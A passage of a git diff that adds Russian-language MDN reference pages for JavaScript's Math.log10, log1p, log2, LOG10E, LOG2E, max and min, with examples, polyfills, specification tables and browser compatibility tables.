+Math.log10(-2);     // NaN
+Math.log10(100000); // 5
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться следующим способом:</p>
+
+<pre class="brush: js">Math.log10 = Math.log10 || function(x) {
+  return Math.log(x) / Math.LN10;
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log10', 'Math.log10')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/log10e/index.html b/files/ru/web/javascript/reference/global_objects/math/log10e/index.html
new file mode 100644
index 0000000000..9c81d78641
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/log10e/index.html
@@ -0,0 +1,113 @@
+---
+title: Math.LOG10E
+slug: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Math.LOG10E</code></strong> представляет десятичный логарифм из e, приблизительно равный 0,434:</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG10E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>0,434</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0,434</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку свойство <code>LOG10E</code> является статическим свойством объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.LOG10E</code>, а не пытаться создавать экземпляр объекта <code>Math</code> и получать свойство от него (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.LOG10E" name="Example:_Using_Math.LOG10E">Пример: использование свойства <code>Math.LOG10E</code></h3>
+<p>Следующая функция возвращает десятичный логарифм из e:</p>
+<pre class="brush: js">function getLog10e() {
+  return Math.LOG10E;
+}
+
+getLog10e(); // 0.4342944819032518
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/log1p/index.html b/files/ru/web/javascript/reference/global_objects/math/log1p/index.html
new file mode 100644
index 0000000000..54a33e9e66
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/log1p/index.html
@@ -0,0 +1,136 @@
+---
+title: Math.log1p()
+slug: Web/JavaScript/Reference/Global_Objects/Math/log1p
+tags:
+  - ECMAScript6
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log1p
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.log1p()</code></strong> возвращает натуральный (по основанию {{jsxref("Math.E", "e")}}) логарифм 1 + числа, то есть</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mo>-</mo><mn>1</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log1p</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="TeX">\forall x &gt; -1, \mathtt{\operatorname{Math.log1p}(x)} = \ln(1 + x)</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.log1p(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если значение <code>x</code> меньше -1, возвращаемое значение всегда будет равным {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<p>Поскольку метод <code>log1p()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.log1p()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.log1p" name="Example:_Using_Math.log1p">Пример: использование метода <code>Math.log1p()</code></h3>
+
+<pre class="brush: js">Math.log1p(1);  // 0.6931471805599453
+Math.log1p(0);  // 0
+Math.log1p(-1); // -Infinity
+Math.log1p(-2); // NaN
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться следующим способом:</p>
+
+<pre class="brush: js">Math.log1p = Math.log1p || function(x) {
+  return Math.log(1 + x);
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log1p', 'Math.log1p')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/log2/index.html b/files/ru/web/javascript/reference/global_objects/math/log2/index.html
new file mode 100644
index 0000000000..e07c3726c9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/log2/index.html
@@ -0,0 +1,93 @@
+---
+title: Math.log2()
+slug: Web/JavaScript/Reference/Global_Objects/Math/log2
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log2
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.log2()</code></strong> возвращает двоичный (по основанию 2) логарифм числа, то есть</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log2</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>уникальный</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><msup><mn>2</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log2}(x)} = \log_2(x) = \text{уникальный} \; y \; \text{такой, что} \; 2^y = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log2.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.log2(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если значение <code>x</code> меньше 0, возвращаемое значение всегда будет равным {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<p>Поскольку метод <code>log2()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.log2()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_Math.log2" name="Example:_Using_Math.log2">Пример: использование метода <code>Math.log2()</code></h3>
+
+<pre class="brush: js">Math.log2(3);    // 1.584962500721156
+Math.log2(2);    // 1
+Math.log2(1);    // 0
+Math.log2(0);    // -Infinity
+Math.log2(-2);   // NaN
+Math.log2(1024); // 10
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод может эмулироваться следующим способом:</p>
+
+<pre class="brush: js">Math.log2 = Math.log2 || function(x) {
+  return Math.log(x) / Math.LN2;
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log2', 'Math.log2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.log2")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/log2e/index.html b/files/ru/web/javascript/reference/global_objects/math/log2e/index.html
new file mode 100644
index 0000000000..485913672a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/log2e/index.html
@@ -0,0 +1,113 @@
+---
+title: Math.LOG2E
+slug: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+tags:
+  - JavaScript
+  - Math
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Math.LOG2E</code></strong> представляет двоичный логарифм из e, приблизительно равный 1,442:</p>
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG2E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>1,442</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1,442</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Поскольку свойство <code>LOG2E</code> является статическим свойством объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.LOG2E</code>, а не пытаться создавать экземпляр объекта <code>Math</code> и получать свойство от него (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.LOG2E" name="Example:_Using_Math.LOG2E">Пример: использование свойства <code>Math.LOG2E</code></h3>
+<p>Следующая функция возвращает двоичный логарифм из e:</p>
+<pre class="brush:js">function getLog2e() {
+  return Math.LOG2E;
+}
+
+getLog2e(); // 1.4426950408889634
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.4', 'Math.LOG2E')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.log2e', 'Math.LOG2E')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/max/index.html b/files/ru/web/javascript/reference/global_objects/math/max/index.html
new file mode 100644
index 0000000000..62ec25de32
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/max/index.html
@@ -0,0 +1,137 @@
+---
+title: Math.max()
+slug: Web/JavaScript/Reference/Global_Objects/Math/max
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/max
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.max()</code></strong> возвращает наибольшее из нуля или более чисел.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.max([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>Числа.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>max()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.max()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<p>При вызове без аргументов результатом вызова будет значение -{{jsxref("Global_Objects/Infinity", "Infinity")}}.</p>
+
+<p>Если хотя бы один из аргументов не может быть преобразован в число, результатом будет {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_Math.max" name="Example:_Using_Math.max">Пример: использование метода <code>Math.max()</code></h3>
+
+<pre class="brush: js">Math.max(10, 20);   //  20
+Math.max(-10, -20); // -10
+Math.max(-10, 20);  //  20
+</pre>
+
+<h4 id="Нахождение_максимального_элемента_в_массиве"><strong>Нахождение максимального элемента в массиве</strong></h4>
+
+<p>Следующая функция использует метод {{jsxref("Function.prototype.apply()")}} для нахождения максимального элемента в числовом массиве. Вызов <code>getMaxOfArray([1, 2, 3])</code> эквивалентен вызову <code>Math.max(1, 2, 3)</code>, однако вы можете использовать функцию <code>getMaxOfArray()</code> вместе с программно сконструированными массивами любого размера. Рекомендуется использовать только в случае обработки массивов с небольшим количеством элементов.</p>
+
+<pre class="brush: js">function getMaxOfArray(numArray) {
+  return Math.max.apply(null, numArray);
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.11', 'Math.max')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.max', 'Math.max')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.min()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/min/index.html b/files/ru/web/javascript/reference/global_objects/math/min/index.html
new file mode 100644
index 0000000000..b365ac5269
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/min/index.html
@@ -0,0 +1,147 @@
+---
+title: Math.min()
+slug: Web/JavaScript/Reference/Global_Objects/Math/min
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/min
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.min()</code></strong> возвращает наименьшее из нуля или более чисел.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.min([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>value1, value2, ...</code></dt>
+ <dd>Числа.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>min()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.min()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<p>При вызове без аргументов результатом вызова будет значение {{jsxref("Global_Objects/Infinity", "Infinity")}}.</p>
+
+<p>Если хотя бы один из аргументов не может быть преобразован в число, результатом будет {{jsxref("Global_Objects/NaN", "NaN")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.min" name="Example:_Using_Math.min">Пример: использование метода <code>Math.min()</code></h3>
+
+<p>В этом примере ищется минимум из <code>x</code> и <code>y</code> и присваивается переменной <code>z</code>:</p>
+
+<pre class="brush: js">var x = 10, y = -20;
+var z = Math.min(x, y);
+</pre>
+
+<h3 id="Example:_Clipping_a_value_with_Math.min" name="Example:_Clipping_a_value_with_Math.min">Пример: обрезание значения при помощи метода <code>Math.min()</code></h3>
+
+<p>Метод <code>Math.min()</code> часто используется для обрезания значения таким образом, чтобы оно всегда не превосходило некоторую границу. Например, такое условие</p>
+
+<pre class="brush: js">var x = f(foo);
+
+if (x &gt; boundary) {
+  x = boundary;
+}
+</pre>
+
+<p>может быть переписано в виде</p>
+
+<pre class="brush: js">var x = Math.min(f(foo), boundary);
+</pre>
+
+<p>Подобным образом может использоваться и метод {{jsxref("Math.max()")}} для обрезания значения по нижней границе.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.12', 'Math.min')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.min', 'Math.min')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
